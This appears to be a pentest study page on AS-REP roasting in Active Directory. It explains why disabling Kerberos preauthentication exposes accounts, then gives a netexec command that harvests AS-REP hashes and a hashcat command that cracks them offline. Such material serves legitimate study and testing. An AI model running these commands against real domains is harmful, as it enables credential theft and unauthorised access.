> For the complete documentation index, see [llms.txt](https://tt0-13.gitbook.io/overview/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://tt0-13.gitbook.io/overview/asreproast.md).

# ASREProast

### Theory

The Kerberos authentication protocol relies on tickets to grant access to services. Normally, a Ticket Granting Ticket (TGT) is issued only after successful **pre‑authentication**, where the client proves knowledge of the account’s secret. However, if pre‑authentication is disabled for an account, the KDC will issue an **AS‑REP containing the TGT encrypted with the account’s key** without prior verification. This behavior enables **AS‑REP roasting**, where attackers can request AS‑REP responses for such accounts and perform offline password cracking.

For this attack to be possible, the account must be configured with,

**Do not require Kerberos preauthentication.**

<figure><img src="https://2000946950-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVLHdKTDYsllKhzWHEKHj%2Fuploads%2F6ppshR5h1Vk9khuhQSTF%2Fimage.png?alt=media&amp;token=7c6a9680-ebbd-4005-b447-1cd086fe2e99" alt="" width="311"><figcaption></figcaption></figure>

### Attacking

While this attack can be carried out without any prior foothold (domain user credentials), there is no way of finding out users with `Do not require Kerberos preauthentication` set without that prior foothold.

In this attack we will be assuming we already have user access on the Domain.

* The user: mohammed.al-qahtani:Password1
* DC host: 192.168.8.222

```
netexec ldap 192.168.8.222 -u mohammed.al-qahtani -p 'Password1' --asreproast ASREProast.txt
```

<figure><img src="https://2000946950-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVLHdKTDYsllKhzWHEKHj%2Fuploads%2F5eRLNXkmnQBBl8oaiSTG%2Fimage.png?alt=media&amp;token=70247f19-4329-4100-b415-3171e4d71936" alt=""><figcaption></figcaption></figure>

Now, the tickets may be cracked using hashcat.

```
hashcat -m 18200 -a 0 ASREProast.txt /usr/share/wordlists/rockyou.txt
```

<figure><img src="https://2000946950-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVLHdKTDYsllKhzWHEKHj%2Fuploads%2FHFG08GQMnVQHsUFnUd00%2Fimage.png?alt=media&amp;token=e2a5ecbd-c713-4340-9e9d-9a528f2e1a3b" alt=""><figcaption></figcaption></figure>
